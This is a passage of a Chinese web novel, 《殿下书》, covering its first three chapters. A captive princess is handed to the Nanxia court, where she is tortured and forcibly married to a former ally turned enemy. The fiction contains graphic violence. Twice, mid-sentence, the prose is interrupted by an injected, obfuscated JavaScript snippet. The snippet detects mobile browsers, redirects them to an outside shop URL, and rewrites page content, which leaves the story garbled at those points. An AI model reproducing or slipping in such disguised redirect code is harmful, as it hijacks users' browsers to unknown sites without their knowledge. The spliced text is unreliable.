《殿下书》 1. 第一话 深冬,被战火烧焦的荒原上忽然穿过一支南夏骑兵装扮的队伍。 在进入连积雪都掩盖不住,无数堆叠着的尸体地带时,骑兵队的为首之人忽然抬手喊停。 轿旁的带刀守卫立马拽出轿中人,手铐脚镣在拖拽间叮铃咣啷地作响。 轿中人被他们按住肩膀,捏住下巴。南夏的骑兵一拥而上,围着她耀武扬威。 他们驾马一遍又一遍地踏过荒原的尸体,本已面目全非的尸体被踩成了血泥,染红荒原雪地。 他们强迫她抬起头,睁开眼。 荒原中干涸的血肉飞溅到朱辞秋脸上。而她只是冷冷地注视着迎亲队伍的为首之人。 她认识他,南夏布鲁族的将军——布鲁哈尔。 几月前,她曾站在山门关的城墙上,远远地看过他。那时,她还未如此狼狈。 布鲁哈尔仿佛受到挑衅般,脸上瞬间布满阴霾,但看着如今景象,又很快笑出声来。 他在马背上向下俯身,抽出刀背挑起她的下巴,用蹩脚的中原话说道:“中原最尊贵的公主,不心疼您的士兵吗?” 朱辞秋偏头躲过伸来的刀背,却被身后守卫强行按住,白皙的脸颊被捏得通红,她冷笑一声:“你弟弟的头颅仍挂在城上。南夏最勇猛的勇士,死前曾被吓尿了裤子。” 几月前的那场战役,她命人活捉了他的弟弟,以鲜血祭大雍旗。 仿佛说到了他的逆鳞,他立马将刀背翻转,砍向朱辞秋的右肩,鲜血瞬间喷涌而出。 她的后膝被身后守卫重力一踹,让她跪在被鲜血染红的雪地里。 “你真以为你现在还是什么尊贵的公主?竟敢如此跟我说话?”布鲁哈尔的脚重重地踩在朱辞秋受伤的肩膀上,鲜血越流越多。他面目狰狞又兴奋地看着被他踩在脚下的女人,“中原皇帝为求和,将你送到南夏和亲,你还以为你是来享福的?哈哈哈哈哈!呸!” 他的唾液喷了朱辞秋一脸。 他说错了,她在这样想着。并非是她父皇为求和才让她来此和亲。但此时境地不容她有再多思绪,面前野蛮的男人还在高声讥讽着。 “你觉得到了南夏,我们会怎么折磨你?”他哈哈大笑,脚上力道越发重地碾压着朱辞秋的肩膀。 朱辞秋冷笑一声,不惧反问:“想知道你们布鲁族为何会败在我的手下吗?” 布鲁哈尔怒吼:“我们没败!” 但朱辞秋笑着:“因为你们愚蠢。只要有一点好处甜头,就能被人捏在手掌心玩弄。” “大雍每一件进贡之物,都有独特的记号。我若为了生路,将你私吞之事告诉你们领主,你猜你会怎么样?” 布鲁哈尔哈哈大笑:“什么私吞?我怎么可能……” 他忽然愣住,反应过来后瞬间张牙舞爪,随即大喝一声,周遭骑兵立马将朱辞秋围困,无数刀剑对向她。 “你是故意让那些人给我送的!” 朱辞秋趁按住她的那骑兵拔刀之时,伺机从发髻上取下一根簪子,用手摩挲着,“如今那些珍宝,怕是已快马加鞭到了布鲁首领帐中了吧?” 在布鲁哈尔慌忙叫人给族中通风报信时,她略微偏头,看向茫茫荒野,忽然反手将发簪尖端对向自己的脖颈,迅速插下去。 就在那一瞬间,一支云箭从远处“咻”的一声,将刚触碰到朱辞秋肌肤的发簪打落在地。 朱辞秋低头看向地上的云箭,忽然笑了。 果然是乌玉胜。 乌玉胜与她,有过太多过往是非,就连她入南夏和亲,都是这厮提出的。让她无可避免地以为,他在报复她。 早在送亲与迎亲队伍交换之时,她就发现暗中观察的人,也就只有自大又愚蠢的布鲁哈尔沉浸在她给他的金银陷阱中无法自拔。 看见云箭忽地射来,布鲁哈尔与其属下立马警戒,他们迅速上马调转马身,却在发现远处也是南夏队伍后瞬间安定。 那是小少主乌玉胜的亲兵,为首的正是他本人。 看清来人后,嚣张的迎亲队伍立马恭敬地跪在地上,布鲁哈尔右手握拳放于左胸,用南夏话大声表忠心:“小少主您怎么来了?!这女人十分不听话,属下只能略作惩戒!好让她臣服于您,臣服于南夏!” 但乌玉胜只是骑着比旁人要高大许多的骏马,在所有人注视下沉默着。 良久,他双腿打马,马蹄声在静寂的荒野中一踏一踏地响着。他并未拉住缰绳,而是搭好弓箭,瞄准越离越近的布鲁哈尔。 朱辞秋躲在暗处,听见“咻”的一声。 云箭穿过布鲁哈尔的右肩,让他吃痛捂住伤口,又吃惊地望向射箭之人。 “你算个什么东西?”乌玉胜手中弓箭又上一支云箭,再次瞄准布鲁哈尔,见后者想要逃离时,悠闲地开口,“你若再动,我射偏之地将是你的寸田之地。” 直到他射出第三支云箭,眼中寒光直射地上跪着的狼狈的人:“还不带着你的人滚?” 布鲁哈尔这才敢捂着被连射三箭的右肩伤口,挥手带着队伍仓皇而去。 待荒原上只剩下乌玉胜与其亲兵后,他用熟练的中原话朝躲在轿身后侧的朱辞秋说道:“出来。” 语气中的刀刺能让人遍体生寒,流出鲜血。 朱辞秋面色苍白,寒冷与疼痛叫她猛地吐出一口鲜血,她随意擦掉嘴角的血渍,迈着不稳的步子走了出来。 等得不耐烦的乌玉胜跳下马,粗暴地拽着她,将她扔进了轿中。 右肩上的伤口不可避免地猛地碰到轿墙,朱辞秋忍着剧痛咬着牙,抬头看向乌玉胜。 乌玉胜避开她的视线骤然转身。 等朱辞秋再被关在轿中时,却见从小窗外滚落几瓶伤药到了轿中。 她将那些瓶子踢到一旁,从小窗外看着遍地尸体的荒原。 那里已经分不清究竟是南夏人多一些还是大雍人多一些了,他们尸首交叠在一起,分不清面容。 走出荒原后,乌玉胜命人封锁小窗,她这才拾起地上的药瓶。 乌玉胜的亲兵接替了布鲁哈尔的迎亲差事,但他本人却不见踪迹。朱辞秋也并不想知道他去了何处,只安静地待在轿里养伤。 他们每日送来的膳食尚能下肚,要比布鲁哈尔在时的好吃许多。 不过那些亲兵一路上从不过多交谈,布防在轿外的重甲守卫一日三换。每日只休整一次,十分迅速地穿过了长邑十三州。 进入赤格鲁草原后,朱辞秋身上的手铐脚镣都被拆除了。她被关入一个更大的轿中,轿内只有一处供出气与送饭的小口,平时连一个活人都见不到。若要如厕,她身旁也会有五名女将士跟随,且不会超过她三步远。 赤格鲁天气变幻多端,朱辞秋此生从未到过严寒之地的身躯终于承受不住般发起高烧,她算着日子,猜测还有三日就到王帐之地,于是将可以驱寒的所有物件全盖在自己身上。 忽然听到外界响起阵阵号角声,专属于南夏的胜利呐吼声响彻云霄,将熟睡中的朱辞秋吵醒。 她摸索着到小窗口处,看见外头似是黑夜,辽阔草原之上有无数点着火把照亮的营帐,守卫腰间两侧都佩着狼刀,他们两两一队立在每一处营帐口,四周巡卫背弓弩手持狼刀,十人一队巡视四方。 至于那号角与呐喊,则是从她看不见的正前方传来的,想必是平日练兵的空旷之地。 看守朱辞秋的守卫似乎已经变成了其他人,他们用南夏话交谈着,她强行撑起身体靠在轿墙上仔细地探听。 “听说在荒原时哈尔将军被小少主射了三箭,布鲁首领都大骂到领主面前了!结果小少主将哈尔将军私吞的大雍进贡的珠宝给翻出来了,哈尔将军刚刚就被小少主喂了魔鬼岭的狼群!” “布鲁族许多人都被这轿子里的女人所害,小少主竟然还要这样惩罚布鲁将军?” “他可是私吞进贡之物啊!哪里还容得下他!” “说得也是!” “不过也是奇怪,不是说布鲁族迎亲到王帐吗?怎么最后变成小少主的亲兵了?” “小少主靠着对那中原女人的恨意才活了过来,以小少主的性子和手段,肯定想亲手虐待她呗!” 朱辞秋眼冒金星,脑袋越发沉重如铅球,她抬手给了自己一巴掌,继续短暂地清醒。 忽然轿外安静一瞬,紧闭的轿门在她的注视下缓缓打开,门口出现两名十分魁梧异常高大的守卫。 朱辞秋被他们拽下轿子,尚未站稳,他们便将她的双手重新捆上铁链,并在身后推着她快速前进。 她不动声色地观察着四周,最终将眼神定在不远处的王座上。 那是南夏自古以来最强大的领主——乌图勒。岁月似乎没有在他身上留下许多痕迹,年近半百的身体仍旧魁梧,只有胡子与毛发有些花白。 他年轻时收复各个部落,统一南夏想要建立如大雍一般完整的政权,并且不断攻打大雍。 而大雍在数年前,曾无数次打败南夏。直到穆老将军身死,也直到乌玉胜成功从内部瓦解了大雍兵力。 “怀宁公主,可安好?” 朱辞秋在乌图勒面前站定后,听见他用流利的中原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13438428|141496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话说道。 她只是淡淡一笑,在空中摇了摇手中铁链,不失礼节地说道:“实在抱歉领主,我这样对您行不了礼。” 乌图勒抬手一挥,她身旁的守卫便松开了那铁链。 “三年前,是你将我们在大雍安插的人都扔了回来。”乌图勒靠在王座上,像邻家阿爷一般和蔼地开口,转而用南夏语说出下半句,“我很喜欢你,也很欣赏你,因此常常觉得,你要是南夏的女人就好了。” “可我不是。”朱辞秋淡笑着,身上的狼狈并不能够掩盖她天潢贵胄的姿态。 在乌图勒的眼神示意下,先前松开她手中铁链的守卫用脚踹向她的后膝,她再次被人按住右肩,猛地跪在地上。 乌图勒见状装作惊讶说道:“倒也不必如此大礼。” “领主真是懂礼之人。”朱辞秋抬眼望向这个虚假的领主,语气越发冷淡。 守卫手中的狼刀忽然刺向她。 瘦小又薄弱的手掌被狼刀贯穿,肩上的伤口被按压出血,她痛得几乎要昏厥过去,连视线都逐渐模糊。 守卫又在刹那间将狼刀拔出,她的神经再次收缩炸开。剧烈的痛感让她咬破嘴唇,发出闷哼。 守卫用近乎狂暴的声音咬牙切齿道:“在这里,用南夏话。” 见朱辞秋痛苦的模样,周围又响起一阵胜利般的叫吼声。 她按住不停流血的手掌,缓慢地站起身。 苍白的脸庞从未有过一丝胆怯与无助,她用流利的南夏话说道:“我带着诚意来此和亲,这便是领主的待客之道?” “那就让我们看看公主的诚意。”乌图勒站起身,朝两旁守卫拍手,“听闻公主殿下琴弹得特别好,乃大雍之最。” 守卫抬来桌椅与一张古琴,那个在朱辞秋身旁的守卫拖拽按住她,让她坐在古琴前不得动弹。 “为我南夏弹一支战胜之曲。”乌图勒坐回王座,期盼地看向朱辞秋。 朱辞秋的右手已经抬不起来了,更别说现在弹一支曲子了。 在她不动的时候,身旁的守卫将她受伤的右手强行按在古琴上,指缝间不停地渗出血丝。 她被按住手指在琴上弹出呕哑啁哳般难听的刺耳声音。 乌图勒笑道:“还不多谢殿下献乐?” 于是那些士兵围着她一圈又一圈地挥舞着手中狼刀,不停地叫吼着。 朱辞秋的意识快要强撑不住,她想要倒在琴上却被强行拽住发髻,让她继续清醒。 “怀宁殿下,”她听见王座上的声音,“三个月前,你将我军将士们赶尽杀绝时,可曾想过今日?” “不过多亏了你们那个废物皇帝,他居然真的接受了提议,送你来和亲。殿下的王兄,并不如你一样有脑子。”乌图勒似乎很意外地说着,“如今,你落在我手中,真是一件值得庆贺的事情。” 朱辞秋吐出一口鲜血,声音越发沙哑:“他不是皇帝,只是监国。” 乌图勒听后,随即乐道:“有何不同?你们那老皇帝如今已病得下不来床,他自然是板上钉钉的新皇。” 她抬起头,平静道:“他不配此位。” “那你觉得,谁配?”乌图勒换了个姿势,仍旧笑着问,“你吗?” 此话一出,周遭便响起嘲讽的大笑声。 她也跟着他们笑,“大雍内患严重不错,但南夏也并非铁板一块,不是吗?” 周遭声音渐小直至消失,安静半刻后,乌图勒坐直身子,挑眉:“哦?” “你让他们松开我,我便告诉领主,我会如何做。” 乌图勒沉默半晌,挥了挥手。 朱辞秋捂住受伤的手,语气越发虚弱:“当权力与土地分配不均时,让他们鹬蚌相争,而我坐收渔翁之利。” 乌图勒沉默一时,他深深地看了眼朱辞秋,忽然笑道:“我现在越发喜欢你了。” “我会让你活到,亲眼看见我坐在你们大雍龙椅上的那一刻。”乌图勒笑着说完最后一句话,挥手让那守卫继续按住朱辞秋的手指弹琴。 “领主经常说得跟做得不一样吗?”朱辞秋被人拽住发髻,捏住指尖。 乌图勒并不回话,只是眼神越发恶毒。 朱辞秋只弹出一个音节,便忽然低头,忍着发髻被扯动的疼痛,在那守卫躲闪不及时一口咬在他手臂之上,生生地将那守卫的手臂咬出好几个鲜血淋漓的窟窿,趁那人尖叫之时立马掀翻古琴砸向他。 “我可不是什么任人宰割的牛羊。”她看向乌图勒,笑得肆意又疯狂,“留下我,对你而言,百利而无一害。” 2. 第二话 朱辞秋的声音掷地有声,让乌图勒沉默半晌。 他缓缓走下王座,像在看垂死挣扎的猎物般。他朝后挥手,身后守卫上前架住朱辞秋。 “怀宁殿下,你真让人,惊喜。” 这是朱辞秋在失去意识前听见的最后一句话。这句话意味着,乌图勒愿意留下她。 其实若她不在乌图勒面前扬言一番,她也并不会死在此处,而为何故意如此,只是让乌图勒知道她的价值,这样她才有可能不被乌玉胜困住。 她是要回大雍的。 再次醒来时,朱辞秋躺在一处干净朴素的帐内,周身铁链被换下,伤口也被包扎好了。 她试着动弹几下,觉得疼痛减轻不少,便知道自己已经昏迷好几日。 于是缓缓起身下床,桌上的油灯被她擦过时的风声吹得一闪一闪的,等到门口掀开帘帐时,帐外冷漠的守卫发出声音:“回去!” 朱辞秋又贴着帐墙仔细听着外头的动静,偶尔会传来士兵巡视换班的声音,想必是在王帐边缘的困囚之所。 她在空旷的帐内试着练了一遍五禽戏,肩上伤势已无大碍,但右手仍会疼痛脱力,根本没办法使出力气。接着又在帐内四处翻找着,这帐内可谓是空空如也,比她如今的脸都还要干净。 不知过了多久,朱辞秋忽闻外头响起一阵声响,她立马站起身警惕地看向门口。 入内的只有两名侍女。但她们腰间都配有狼刀,端着托盘的手粗糙有力,脚下步子轻盈又迅速,并不虚浮。 果然是南夏,连侍女都是习武之人。 她们端着饭菜与两件南夏服饰,面无表情地将手中东西摔在桌子上。 其中一人冷漠道:“领主听说你醒了,让我们给你送东西。” 另一人见朱辞秋并不说话,只是盯着桌上的东西时,她冷笑一声:“我们可不是中原人,做不了在饭菜中下毒的低劣手段。” “跟她多说什么!走吧。” 朱辞秋确实许久未进过食了,她坐了下来,但看着桌子上的饭菜,又有些没胃口。 勉强喝了几口水,帐外又传来野人般的胜利叫吼,火把聚集的光亮同样照亮了帐内。 朱辞秋站起身,看向被火光照耀到帐内的影影绰绰的影子。 他们又在庆祝什么?只一瞬间,她便了然。怪不得乌图勒并未亲自来看她是否安分,原来是在收拾不听话的部落。 是布鲁族。朱辞秋在心中笃定地确认。 布鲁族私吞了进贡的珠宝,布鲁首领甚至骂到乌图勒面前了,乌图勒,可不是个会善罢甘休的人。 朱辞秋暗自发笑,在装满牛肉的盘里挑挑拣拣,将南夏的信息重新梳理着。 南夏地大物稀,经常会有这个部落为几只牛羊和几块地皮与那个族群发生争斗的事情。 乌图勒年轻时英勇善战,雷霆手段统一了各部落,南夏王座自打下来后,这位善战又独权的领主似乎便想统治天下千秋万代。 可南夏以武为尊,在他日渐衰老的同时,那些年轻的部落早已伺机窥视着他这来之不易的王座。 乌图勒的大儿子乌玉阙娶了南夏最古老的部落——巫族的女儿,那是他的助力。但他大儿子本人却自大愚蠢,空有蛮力。 直到乌玉胜回到南夏,比乌图勒更狠辣的雷霆手段制服了不听话的部落,他信任他,但也开始忌惮他。 此时乌图勒需要一个可以钳制乌玉胜的人,一个可以与乌玉胜相抗衡之人。 而她要成为的,就是乌图勒眼中可以制衡乌玉胜之人。 朱辞秋咬了一口牛肉,觉得难吃后便扔了筷子,忽然感觉到未被火光照映的黑暗中,有一道窥伺她的视线。 就像被恶犬盯住一样,让人不由自主地感到战栗心慌。 见她察觉后,黑暗中的人缓步走向床边。 朱辞秋维持着原姿势,目不转睛地盯着乌玉胜。 他们就这样对视着,谁也没有先开口。 最后乌玉胜好似妥协般,坐在她身旁的凳子上。 他双腿交叠,俯身向前,用布满细茧的大手,轻轻划过朱辞秋尚未恢复血色的脸庞。 食指一寸一寸往下,在右肩的伤口与被包裹严实的右手处,都打了两圈转。 “殿下,疼吗?”像是疑问,又像是肯定。 朱辞秋只看着他,并不回答。 乌玉胜又用食指勾住她的下巴,迫使她与他对视,“可臣觉得,这痛苦远不如当年断崖之上,殿下赐给臣的穿心之痛。” 帐外的火光照亮了乌玉胜的一半脸庞,右侧鼻梁处的小痣让他的模样在黑暗与光明的交叠中极尽妖冶。 他在笑,但眼神冰冷刺骨。 三年前,穆老将军战死在龙虎关,长邑十三州至此开始沦陷。 朱辞秋在得知那曾意气风发的少年将领是叛国之人后,一人一骑飞奔至龙虎关。 龙虎关断崖之上,她终于知道一切皆是乌玉胜的伪装。 刺向他心口的那一剑,早已将昔日情谊断了个干净。 她偏头躲过乌玉胜伸出的手,同样地在黑暗中绽放最灿烂的笑容,声音却冷凝:“我可以赐你第二剑。” 乌玉胜猛然掐向朱辞秋纤细的脖颈,神情愈发狠戾:“早前曾让殿下学些防身之术,若殿下听臣一言,如今也不会被臣掐住脖子苟延残喘。” 见朱辞秋越发涨红的脸,乌玉胜缓缓放松手劲,却被朱辞秋迅速起身躲开。他继续朝她逼近,将她逼至角落时,他伸出手掐住她的脸颊,“殿下在荒原设计臣替您惩治布鲁哈尔时,可曾想过今日?” 朱辞秋看向这个愈发如恶狗一般的人,眼里忽然闪过狡黠,她低头在他暴露的虎口处狠狠一咬。 看着骤然松手瞪向她的乌玉胜,她挑衅般扬起下巴,用口型说了一句:“你自找的。” 乌玉胜似乎气急了,按住她的肩膀猛地将她推到一旁的床上。他弓着身子,右腿半曲在床,双臂直直的撑在床上,将她左右挡住。 高大的男人覆在她身前,距离不过咫尺,让她能听清身前之人的呼吸声。 朱辞秋没想到他会突然如此,眼中闪过愕然。 乌玉胜明显捕捉到身下人的情绪波动,他就像打了胜仗般挑眉笑道:“原来殿下也有失措之时。” 朱辞秋闻言立马弓起小腿,狠狠踹向乌玉胜下身,乌玉胜早有所料般用手按住她的小腿。 她挣扎着,松散的衣衫领口露出一条缝隙,小巧玲珑的锁骨猝然出现在乌玉胜眼前。 见身下人一直不安分地挣扎着,他仿佛被激怒般像只疯狗一样狠狠咬向朱辞秋的锁骨处,留下一排血印。 朱辞秋罕见地愣住了。 迅速反应过来后,她不顾受伤的手,猛然推开乌玉胜坐起身,未好全的右手手掌渗出血浸染了纱布。 乌玉胜调戏般故意在她面前舔了一口牙尖,挥了挥她在他虎口处留下的血印,说道:“我们扯平。” 朱辞秋猛地伸手甩了乌玉胜一巴掌,后者迎面接下,并未躲开。他的脸被这一巴掌打的侧到一旁。 她指着帘帐,说了一个字:“滚。” 但乌玉胜却赖在原地,甚至还能笑着坐在她身旁,但余光瞥见被血渗透的纱布后语 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她身形略微一顿,轻微地抬起眼皮,仿佛想从面前人的神情中看清楚这伤口究竟是真是假。 有时候,她真的很希望她与乌玉胜,只是单纯的仇敌。 可看见那熟悉的面孔,听见熟悉的声音,她总会想起,十二岁那年,她与乌玉胜的初见。 她坐在宫墙之上,想要一跃而下。 少年将领年少俊朗的面庞充满生机,他笑着看向高处的她,就像被母后打死的小狗一样憨厚可爱。 “殿下,您跳下来,臣接住你。”少年将领张开臂膀,鼓励着她。 朱辞秋听见爽朗的声音,竟然说出一句本不该说出的话:“我的狗死了。” 少年将领却笑着说:“天地万物皆有变幻,小狗只是以另一种方式陪伴殿下,比如变作了臣来陪殿下。” 朱辞秋看向在桃花树下的乌玉胜,觉得他好自由,就像她曾经怎么握也握不住的风,“你是狗吗?” “殿下希望臣是什么,臣就是什么。” “我跳下来,你真的能接住我吗?” “请殿下信我。” 而在昏暗的南夏囚帐内,乌玉胜不再爽朗憨厚,他狠戾又犀利,低首俯身间与她对视,“臣只是不想殿下如愿。” “殿下本就得乌图勒青眼,若由殿下说出,想必他更要对殿下青睐有加,对殿下来说是好事,对臣来说却未必。可臣还是低估了殿下,毕竟看人说人话,看鬼说鬼话的本事,您练得炉火纯青。” “我很好奇,”朱辞秋抬起头,语气越发温和,声音也越发沙哑,“小少主一直在用臣自称,是想跟本宫忆往昔吗?” 乌玉胜脸上出现一丝裂缝,抓着朱辞秋的手越发用力。 她本能地想抽走被他钳制住的手,但乌玉胜却不给她这个机会,他几乎是用要将她整个手腕骨都要碾碎的力度,叫她吃痛地咬住自己的下唇。 那里早在乌图勒面前时,就已经被她咬破过几次,如今还未好全更是脆弱,只是牙齿轻轻一碰便渗出血丝。 乌玉胜用另一只手捏住朱辞秋的下巴,又用食指触碰到她柔软的下唇。像是在阻止她继续咬唇,又像是故意在挑衅她。 朱辞秋看着他温柔地擦掉她嘴角的血丝,视线顺着这双大手往下,最终定格在乌玉胜腹部的伤口处。 乌玉胜察觉到她的目光,深棕色的眼眸在黑夜里闪出异常的光亮,他缓缓松开了手,摸着自己腹部的伤口。 “殿下,我们,来日方长。” 故意诱走乌玉胜后,朱辞秋面无表情地坐了许久。 3. 第三话 那夜后,朱辞秋所处营帐外不再是普通守卫看守,有人将其换成了重甲守卫。除一日来换一次药的医师与送餐的侍女,她再没有见过其他人,也包括乌玉胜。 南夏王帐之地一年一迁。 今年的王帐之地设在赤格鲁草原北面的火林腹地中。 朱辞秋几日观察后,发现自己被困在火林最靠近喜塔拉雪山的营帐中。营帐虽然密不透风足够御寒,但她毕竟不是南夏人,帐内也没有助她御寒之炭火,她只能裹紧狍皮被让自己多暖和一点。 她在这里数着日子,身上的伤也日渐好转。 直到第十五日,紧促的脚步与刀剑摩擦过铁甲的声音从帐外传入她的耳中。 守卫用狼刀掀开紧闭的帘帐,让中间的人率先走入帐内。 那人踏入帐内后跺了跺脚,抬手拭去肩上的雪,又搓搓双手哈了口气。 朱辞秋跪坐在四方矮桌边的毡毯上,静静地看着他。 来者是名十分高大的男子,眼睛也是南夏人典型的浅色,长得也是粗犷无比,仔细看的话与乌图勒有些相像。 朱辞秋不动声色扫过他腰间的佩刀,上头嵌了一颗红鹿石,那是南夏王族的象征。 她在那一瞬间就确定,这个人是乌玉胜同父异母的哥哥——乌玉阙。 乌玉阙站在朱辞秋面前,居高临下地看着她。 “没想到你居然活到现在。”他再次往前走了一步,将身后光亮全都挡住后蹲下身子与朱辞秋平视,“初次见面,我是乌玉阙。” “大少主。”朱辞秋注视着那双浅色的眼眸,淡淡一笑。 乌玉阙挑眉:“你的南夏话说得不错,眼力见也很不错。” “你们大雍的长邑十三州,确实也非常不错。”乌玉阙站起身,再次居高临下地注视着她,“只是臣民行径十分恶劣,我费了好大的功夫才将他们收服。” 朱辞秋被宽大衣袖掩盖住的双手紧握成拳,面色却淡淡地不动声色,她望向乌玉阙,笃定道:“你杀了他们。” “在我们南夏,牲畜圈中总会有不听话的牛羊,牧民们将那些不听话的牛羊宰割后,牛羊们才会歇了想要逃跑的心,安心待在圈中。” “大少主学过中原话吗?” “什么?” “在中原,我们一般只说四个字。”朱辞秋站起身,将双手并拢递到乌玉阙面前,抬头望向他,如画的眉眼露出盈盈笑意,“杀鸡儆猴。” 乌玉阙愣了一下,反应过来这四个字意思后,道:“受教了,怀宁殿下。” 然后抬手朝后一挥,身后的守卫便立马上前将铁链紧紧缠绕在她手上。 在守卫掀开帘帐时,身后的乌玉阙忽然开口:“对了,忘了告诉殿下,朔州穆家残部所有人的头颅都被我挂在训练场了,殿下有机会就去观赏一下吧!” 戏谑又恶心,得意又嘲讽。 朱辞秋扯起嘴角,她忍住心底的滔天恨意,回头看了一眼乌玉阙。 “多谢大少主告知,我会去的。” 这句话反倒叫乌玉阙愣住了,他就这样一直看着朱辞秋,直到守卫提醒,他才回过神。 朱辞秋被带到了王帐之地中央的宫帐内。 刚入帐内,热气扑面而来,与外头的彻骨寒风和她那冰冷的营帐形成了鲜明的对比。 朱辞秋冰冷僵硬的身体逐渐变得有温度。久未感受过的暖和,让她不由自主地想要贪恋。 宫帐很大,也十分富丽堂皇。 南夏人崇尚武力,奉天地之神。他们的装饰多带着动物图案,金器装饰也与大雍完全不同,帐内四角及中央都摆放了供人取暖的高大的炭火盆。 乌图勒坐在铺着鹿皮的王座上,两旁摆放着相同数量的矮桌,地下铺着柔软毛毡毯子,各部落首领及王族们都坐在那里,乌玉胜也在。 乌玉阙微微弯腰将右手握拳放于心口处,朝乌图勒行礼恭敬道:“领主,人已带到。” “怀宁殿下,伤养得如何了?”乌图勒换了个姿势,笑着问道。 “托领主的福,已然大好。” 朱辞秋穿着并不合身的南夏服饰,多日的伤势与寒冷让她脸色苍白,此时双手又被铁链捆住,如此落魄之态让在座的所有人都为之一乐。 不知是哪个部落的首领率先站起身,停顿一瞬,见乌图勒并非阻止便大胆上前,绕着朱辞秋走上两圈,用充满恶意的尖锐声音道:“都说怀宁殿下是中原最尊贵的女人,如今一见,却发现跟被砍断四肢的中原奴隶无甚区别!” 周围爆发出大笑声,乌图勒也十分满意地笑着。 在这里,没有人会替她解围。 朱辞秋勾起嘴角,不施粉黛的脸上露出她在大雍最常使用的和善温煦笑容。 她目光掠过面前首领的腰间,看见腰带上双蛇交叠在一起的图腾标识,便知道此人是南夏哧赫部的首领。 哧赫部地处沼泽之地,奉蛇神,人人都会操控毒蛇为其所用。 禹州一战中,很多将士都是被毒蛇悄无声息地咬死的。 “他们似乎没有领主懂得礼节。”朱辞秋抬起头,淡淡说道。她上前一步,手上的铁链丁叮当啷地响着,“若要将小少主的妻子比作奴隶,那小少主是什么?” 乌玉胜的目光越过人群看向朱辞秋,立马有人大声呵斥:“大胆!” 乌图勒摆手制止,他眯起眼睛,和善的目光瞬间转变成危险,“孤身在此,你好像并不会害怕。” “怕与不怕对我来说,都一样。” “你就不怕我杀了你?” 朱辞秋笑着注视王座的乌图勒,挑了挑眉,“领主留我看大雍国灭,您要做背信之人?况且,我向领主献的计策已初有成效,领主舍得杀我?” 乌图勒眼底闪过一丝意外,“殿下真是能屈能伸之人。” “过奖了,领主。”朱辞秋微微点头,十分雍容。 王座上的人朝底下摆了摆手,哧赫部首领朝朱辞秋啐了一声,不情不愿地重新坐回位置。 帐内再次安静下来。 “巫师算出,今日宜婚嫁。”乌玉阙站在乌图勒身旁,笑着开口,“不过我们南夏不像中原一般讲究虚礼。殿下与王弟拜过领主,诸位首领吃过这一顿宴后就算礼成。” 没有告知亲人与天地,没有三书六礼,亦没有喜服。 就连双手都被铁链捆住,身上的衣物也是她们随便找的两件不合身的南夏衣服,连头发都是用一根绳子随意扎起来的。 这是一场可笑的成婚吉礼。 在乌玉阙说完话时,众人都望向了乌玉胜。 乌玉胜懒得理会那些视线,他几乎是急速般走到朱辞秋面前,直接按住她的肩膀让她与他一同跪在了地上。 好在地上铺了一层柔软的毛毡垫,朱辞秋的膝盖才没有遭殃。 她在低头那一瞬间的余光中瞥见,乌玉胜的右手在轻微地颤抖。 朝乌图勒磕过三个响头后,朱辞秋又被乌玉胜拽起来。 “愿南夏与大雍,百世和平。” 乌图勒举起手中的金丝高足杯看向朱辞秋,这句话说得冠冕堂皇,就像在故意恶心她一样。 有侍女端着托盘走至朱辞秋面前,她视线朝托盘看去。 里面放着两盏盛满酒水的酒杯,还有一个粗糙的木盒。 乌玉胜面无表情地将其中一只酒杯放在她被铁链捆住的手中,又自己举起另一只酒杯。 乌玉阙走到侍女身旁,他拿起那只木盒,忽然开口:“这是我为王弟准备的新婚贺礼,王弟不打开看看?” 朱辞秋再次看向那只木盒,只见身旁的人越发低气压,他仰头将酒饮尽后,盯着乌玉阙手中的木盒,手中的酒杯被他摔在了地上。 木盒被乌玉胜打开后,里面的东西也映入朱辞秋的眼帘。 她几乎是用尽全身力气忍住心底的恶心,也忍住想将手中酒杯扔出去的冲动,垂眸不再看那东西一眼。 木盒里装着一个人的心脏。 乌玉胜在木盒打开的那一瞬间就上前将木盒重新盖上。他拿起那木盒,朝乌玉阙行礼,语气及动作都无任何不恭敬的样子,“多谢王兄。” “你不想知道这是谁吗?”乌玉阙似乎很不满意乌玉胜的态度,追问道。 帐内所有人都沉默地看着兄弟二人间的暗流涌动。 朱辞秋也沉默地观察着。 这个世上,最无法避免的就是对权力的争夺。大雍的皇室无法避免,南夏的王族也毫不例外。 在她所知晓的信息中,乌玉阙十分讨厌甚至是厌恶他的这位弟弟。 乌玉阙原本是唯一的领主继承人,他曾费心拉拢与制服部落族,在乌图勒面前尽全力地表现自己,主动揽下那些肮脏又恶心的差事。 直到三年前,乌玉胜从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13438430|141496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大雍活着回到了南夏。 分明跟整个南夏王室都不同的做派,却让乌图勒对他刮目相看,屡屡委以重任,甚至将王室的一小半兵权交给了乌玉胜,让他代替他去开疆扩土。 而乌玉阙,只能跟在乌玉胜身后做一些战后料理的事情。 本来一个人就可以拥有一人之下万人之上的权力,如今却要与人同担甚至分走了大部分权力,叫乌玉阙怎能不厌恶他的这位弟弟呢。 再看帐内如今众人的嘴脸,想必都在暗自看王座上的领主如何处理吧。 但乌图勒并不说话,他只是悠闲地坐在王座上,转着手中的高足杯。 朱辞秋静静看着这一切,暗自将视线定格在乌玉阙身上时,乌玉阙毒蛇一般的眼神也在看她。 乌玉胜并未回答乌玉阙,他跨走一步,朝王座之人行礼后说道:“领主,礼已毕。” 